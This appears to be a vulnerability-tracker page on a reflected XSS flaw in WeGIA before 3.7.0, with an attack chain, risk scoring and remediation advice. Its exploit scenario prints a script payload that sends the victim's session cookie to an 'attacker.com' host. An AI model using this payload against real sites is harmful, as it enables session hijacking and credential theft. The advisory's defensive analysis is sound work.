Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAttacker crafts malicious URL
-
DeliverySends link via phishing email
-
ExploitUser clicks link while authenticated
-
Executionid_processo payload reflected in HTML
-
PersistJavaScript executes in victim browser
-
ImpactSession cookie/credentials stolen
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | The vulnerability requires the id_processo parameter to be directly reflected in the HTML response without sanitization. Exploitation requires user interaction: the victim must click a crafted link while authenticated to WeGIA (or the attacker exploits a pre-authenticated session). The vulnerability does NOT require special configuration - it affects default installations. Exploitation is limited by browser same-origin policy (XSS cannot directly read cross-origin cookies unless SameSite is not enforced) and requires the victim to be logged into the WeGIA application. Older browsers without modern CSP or XSS protections are at higher risk. |
| Impact | CVSS 6.1 with AV:N/AC:L/PR:N/UI:R/S:C reflects moderate real-world risk. The network attack vector and low complexity favor attackers; however, user interaction (clicking a malicious link) is a significant practical barrier. Scope change indicates the XSS impacts resources beyond the vulnerable component (e.g., session tokens, other users' data). The lack of authentication requirement (PR:N) is concerning but partially mitigated by the UI requirement. EPSS data is unavailable for comparison. No KEV status or public POC is confirmed in the input, suggesting either limited visibility or targeted rather than widespread exploitation. For organizations running WeGIA, the risk is elevated if users are targeted with phishing links, but risk is lower for passive adversaries without social engineering capability. The 3.7.0 patch availability significantly reduces risk for patched deployments. |
| Exploit ScenarioDerived | An attacker crafts a malicious URL containing JavaScript payload in the id_processo parameter (e.g., lista_arquivos_etapa.php?id_processo=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>) and sends it via phishing email to a WeGIA user. When the user clicks the link and is authenticated to WeGIA, the injected JavaScript executes in their browser, stealing session cookies or redirecting them to a fake login page to harvest credentials. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 11, 2026
Reflected cross-site scripting (XSS) in WeGIA versions before 3.7.0 allows unauthenticated remote attackers to inject arbitrary JavaScript via the id_processo parameter in lista_arquivos_etapa.php, enabling session hijacking, credential theft, or malicious actions in victim browsers. User interaction (clicking a crafted link) is required. The vulnerability is fixed in version 3.7.0.
RemediationAI
Upgrade WeGIA to version 3.7.0 or later, which includes proper input sanitization and output encoding for the id_processo parameter. Organizations unable to upgrade immediately should implement input validation on the server side (allowlist numeric or alphanumeric values for id_processo) and apply output encoding (HTML entity encoding) to all user-supplied parameters before embedding them in HTML. Additionally, enforce Content Security Policy (CSP) headers to restrict inline script execution, reducing the impact of successful XSS injection. Monitor web application logs for suspicious id_processo values containing script tags or JavaScript event handlers.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
WeGIA is a PHP-based web application for managing charitable institutions. The vulnerability stems from improper input validation and output encoding in the lista_arquivos_etapa.php script, where the id_processo parameter is directly embedded into HTML without sanitization or encoding. This violates CWE-79 (Improper Neutralization of Input During Web Page Generation) and allows attackers to break out of HTML context and execute arbitrary JavaScript in the victim's browser with the same privileges as the authenticated user. The reflected nature means the payload is delivered via URL and not stored server-side.
Know when Wegia gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Primary rating from Vendor (GitHub_M) · only source for this CVE.
CVSS VectorVendor: GitHub_M
Lifecycle Timeline
2DescriptionCVE.org
WeGIA is a web manager for charitable institutions. In versions prior to 3.7.0, a reflected Cross-Site Scripting (XSS) vulnerability exists in lista_arquivos_etapa.php due to improper handling of user-supplied input. The id_processo parameter is directly embedded into the HTML without sanitization, allowing attackers to inject arbitrary JavaScript. This can lead to session hijacking, credential theft, or execution of malicious actions in the context of the victim's browser. This vulnerability is fixed in 3.7.0.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Critical OS Command Injection vulnerability in WeGIA (a web management system for charitable institutions) versions prio
WeGIA is a Web manager for charitable institutions. Rated critical severity (CVSS 10.0), this vulnerability is remotely
WeGIA is an open source Web Manager for Institutions with a focus on Portuguese language users. Rated critical severity
WeGIA is an open source web manager with a focus on the Portuguese language and charitable institutions. Rated critical
WeGIA is a Web manager for charitable institutions. Rated critical severity (CVSS 10.0), this vulnerability is remotely
WeGIA is a web manager for charitable institutions. Rated critical severity (CVSS 10.0), this vulnerability is remotely
WeGIA is an open source Web Manager for Institutions with a focus on Portuguese language users. Rated critical severity
WeGIA is an open source Web Manager for Institutions with a focus on Portuguese language users. Rated critical severity
WeGIA is an open source Web Manager for Institutions with a focus on Portuguese language users. Rated critical severity
WeGIA is an open source Web Manager for Institutions with a focus on Portuguese language users. Rated critical severity
WeGIA is an open source Web Manager for Institutions with a focus on Portuguese language users. Rated critical severity
WeGIA is an open source Web Manager for Institutions with a focus on Portuguese language users. Rated critical severity
EUVD-2026-29187
NVD
CVE.org
EPSS
Vulnrichment
GitHub
Exploit-DB